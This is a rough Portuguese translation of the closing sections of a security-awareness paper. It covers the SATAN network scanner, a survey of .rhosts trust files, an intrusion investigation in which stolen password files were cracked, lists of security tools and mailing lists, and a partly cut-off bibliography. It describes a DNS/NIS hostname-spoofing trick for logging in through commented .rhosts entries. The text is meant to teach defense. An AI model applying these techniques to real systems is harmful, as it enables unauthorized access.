Talvez nenhum dos métodos mostrados aqui seja surpreendente; quando escrevemos isto em papel, nós não aprendemos muito sobre como arrombar sistemas. Isso que nós _aprendemos_ foi, enquanto testamos estes métodos em nossos próprios sistemas e em "sites" amigos, para ganhar acesso a um típico host (UNIX) na Internet. Cansado de digitar todos este passos na mão, e desejando manter nossos próprios sistemas mais confiáveis , nós decidimos implementar uma ferramenta de segurança (o SATAN) isso tenta conferir os hosts distantes para pelo menos alguns dos problemas discutiu aqui. Quando revelamos sobre nosso documento e nossa ferramente, a resposta típica era, "isso parece bem perigoso -- eu espero você não vá distribuir isto para todo o mundo. Mas você pode confiar em mim, eu posso ter uma cópia disto ?" Nós nunca tivemos a intenção de criar um livro de receitas ou toolkit de métodos e programas que mostra como arrombar sistemas -- ao invés, nós vimos que estes mesmos métodos estava sendo usado, diariamente, contra nós mesmos e contra administradores de sistemas amigos. Nós acreditamos que propagando informação que normalmente não estava disponível as pessoas que estão fora do mundo dos criminosos, nós podemos aumentar a segurança elevando a consciência. Tentar restringir acesso as informação de segurança perigosa nunca pareceu ser um método muito efetivo para segurança; realmente, o oposto parece ser o caso, por que os crackers de sistemas mostram pouca reticência em compartilhar a informação deles entre si. Enquanto é quase certo que alguma da informação apresentaram aqui é material novo para (iniciantes) cracker de sistema, e que alguns usarão isto para ganhar acesso sem autorização sobre hosts, a evidência apresentada até mesmo por, nosso espetáculos de testes mostra que há um número muito grande de "sites"inseguros, simplesmente porque os administradores de sistemas não sabem simplemente nada sobre segurança ou como melhora-la -- eles não são estúpidos ou lentos, eles simplesmente estão impossibilitados de gastar seu pequeno tempo livre explorando todos os assuntos de segurança que pertencem aos sistema deles. Combine isso com o difícil acesso a este tipo de informação e você defende seus sistemas de forma pobre/fraca. Nós (modestamente) esperamos que este documento contenha alguns dados (mal-precisados) que mostre como os sistemas são quebrado, e no futuro, explicar _porque_ certos pontos deveriam ser levados mais a sério em um sistema. Em nossa opnião, sabendo por que algo é um problema é, a real chave para aprender e para fazer um escolha inteligente sobre o que a segurança realmente significa para seu "site". ---- Apêndice A : SATAN (Security Analysis Tool for Auditing Networks) Originalmente concebido a alguns anos atrás, o SATAN é de fato o protótipo de uma visão muito maior e mais inclusiva de uma ferramenta de segurança. Em sua versão atual, SATAN remotamente sonda e relata vários bugs e fraquezas em serviços de rede e sistemas de windowing, como também geral com muitos detalhes informações geralmente útil sobre o alvo(s). Ele processa os dados de forma cru e que podem ser usados por um especialista em segurança para gerar uma análise final. Ele não é particularmente rápido, mas é extremamente modular e fácil modificar. SATAN consiste em vários sub-programas cada um dos quais são arquivos executáveis em (perl, dshell, C compilado binário) tudo isso testa um host para um determinada fraqueza em potencial. Colocar programas de teste adicionais é muito simples bats por um executável no diretório principal com a extensão ".satan"; o programa executará isto automaticamente. O drive do programa gera um jogo/lists de alvos (usando DNS e uma versão rápida de ping junto para adquirir alvos "ao vivo"), e então executa cada dos programas em cima de cada um dos alvos. Então um programa de filtragem/interpretação de dados de dados analisa o resultado, e um outro programa mostra tudo em um formato legível. O pacote inteiro, inclusive código fonte e documentação, será livremente disponível ao público, por ftp anônimo e postando para um dos numerosos grupos de código de fonte no Usenet. ---- Apêndice B : Uma pesquisa informal administrada sobre uma dúzia de locais na Internet (educacional, exército, e comercial, com mais de 200 hosts e 40000 contas) revelou que, em média perto de 10 por cento dos "sites", usam arquivos de .rhosts. Estes arquivos possuem em média seis hosts confiáveis cada; porém, não era incomum ter bem mais de cem entradas em um arquivo .rhosts, e em alguns ocasiões, o número era mais de quinhentos! (A pessoa não deve sentir orgulho de um registro desta natureza.) Além disso, _muitos_ "sites" que estão diretamenta na Internet (um "site" deve estar principalmente atrás de um firewall) confiou em um usuário ou está em outro "site" -- assim, a segurança do "site" não estava diretamente debaixo debaixo do controle do administrador de sistema. Os "sites" maiores, com mais usuários e hosts, tiveram uma baixa porcentagem de usuários com arquivos de .rhosts, mas o tamanho de .rhosts arquivos aumentaram, como também o número de hosts de "sites" remotos declarados como confiáveis. Embora era muito difícil verificar quanto das entradas era válido, com tal hostnames como "Makefile", Mensagem-Id ":, e "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", como também várias entradas de coringas (wildcard), nós, questionamos a sabedoria de pôr a segurança de um "site" nas mãos de seu usuários. Muitos usuários (especialmente os com arquivos .rhosts maiores) tentado pôr comentários no estilo de shell nos arquivos de .rhosts deles o que a maioria dos sistemas UNIX tentam solucionar como nomes de hosts válidos. Infelizmente, um atacante pode usar o DNS e NIS hostname spoofing técnicas então discutido para fixar o hostname deles para "#" e livremente logar no sistema. Isto põe um grandes número de "sites" em risco (pelo menos um grande vendedor tranfere o sistema deles com comentários nos arquivos de /etc/hosts.equiv .) Você poderia pensar que estes "sites" não são muito típicos, e, como um assunto de fato, eles não eram. Virtualmente todos os administradores sentiram um grande negocio sobre segurança e escreveram programas de segurança por passatempo ou profissão, e muitos dos locais para os que eles trabalharam fizeram uma pesquisa ou criaram produtos de segurança. Nós só podemos adivinhar como um "local típico" poderia se parecer. ---- Apêndice C : Depois de recebermos um e-mail informando que alguém estava invadindo um dos nossos "sites", uma investigação foi iniciada. A tempo, nós achamos que o intruso estava trabalhando de um domínio ".com" (comercial), analisando, hosts com deficiências o que facilitava o roubo de arquivos de senhas (passwd). Neste caso, "fácil-para-roubo" recorreu a locais com um guessable NIS domainname e um servidor de NIS acessível. Não sabia-mos o quanto distante estava o intruso, isto parecia uma boa idéia para advertir os "sites" que eram de fato vulneráveis para roubo de arquivo de senha. Dos 656 hosts na lista de golpe do intruso, 24 tinham arquivos de senha fácil de roubar -- aproximadamente um em vinte e cinco hosts! Um terço destes arquivos continha pelo menos uma conta com shell interativo. Em um total de 1594 usuários no arquivo de senhas, rodamos um crack de senhas (publico) por dez minutos e quebramos mais de 50 senhas, e apartir de uma Sun workstation de baixa performace. Outras 40 senhas foram quebradas dentro dos próximos 20 minutos; e uma senha de root foi quebrada após uma hora. O resultado depois de alguns dias rodando o crack: cinco senhas de root foram quebradas, 19 senhas de 24 arquivos de senhas diferentes (oitenta por cento) com pelo menos uma senha conhecida, e 259 de 1594 (um em seis) senhas adivinhadas. ---- Apêndice D : Como adquirir alguns recursos de segurança grátis na Internet Listas de discussão : o O CERT (Computer Emergency Response Team) lista aconselhadora. Envie e-mail para cert@cert.org, e pedir para ser inserido na lista. o The Phrack newsletter. Envie um e-mail para phrack@well.sf.ca.us e pedir para ser incuido na lista. o The Firewalls mailing list. Envie a linha seguinte para majordomo@greatcircle.com: subscreva firewalls o Computer Underground Digest. Envie e-mail para tk0jut2@mvs.cso.niu.edu, pedindo para ser colocado na lista. Software grátis: COPS (Computer Oracle and Password System) está disponível via ftp anônimo em archive.cis.ohio-state.edu, no diretório pub/cops/1.04+. TCP wrappers estão disponíveis via ftp anônimo em ftp.win.tue.nl, no diretório pub/security. Crack está disponível em ftp.uu.net, no diretório /usenet/comp.sources.misc/volume28. TAMU é uma ferramenta de auditoria UNIX que é parte de uma ferramenta excelente e maior que foi publicaram por um grupo na Texas A&M University. Eles podem ser adquirido por ftp anônimo em net.tamu.edu, no ditetório pub/security/TAMU. Fontes para ftpd e muitas outras ferramentas de rede podem ser achadas em ftp.uu.net, no diretório packages/bsd-fonte. Fonte para ISS (Internet Security Scanner), uma ferramenta que remotamente analisa várias vulnerabilidade de redes, está disponível por ftp anônimo em ftp.uu.net, no diretório usenet/comp.sources.misc/volume40/iss. Securelib está disponível por ftp anônimo em ftp.uu.net, no ditetório usenet/comp.sources.misc/volume36/securelib. A mais recente versão de sendmail de berkeley está disponível por ftp anônimo em ftp.cs.berkeley.edu, no diretório ucb/sendmail. Tripwire, UNIX filesystem integridade checker+, está disponível por anônimo ftp em ftp.cs.purdue.edu, no diretório pub/spaf/COAST/Tripwire. ---- Bibliografia : Baldwin, Robert W., Rule Based
Analysis of Computer Security,
Bellovin, Steve, Using the Domain
Name System for System Break-ins,
Massachusetts Institute of Technology,
X Window System Protocol,
Shimomura, Tsutomu, private communication.
---- Sugestões de leitura : Bellovin, Steve -- "Security
Problms in the TCP/IP Protocol Suite",
Garfinkel, Simson and Spafford,
Gene, "Practical UNIX Security",
Hess, David, Safford, David,
and Pooch, Udo, "A UNIX Network Protocol
Phreak Accident, Playing Hide
and Seek, UNIX style, Phrack, Volume
Ranum, Marcus, "Firewalls" internet
electronic mailing list, Sept
Schuba, Christoph, "Addressing
Weaknesses in the Domain Name System
Thompson, Ken, Reflections on
Trusting Trust, Communications of the ACM
|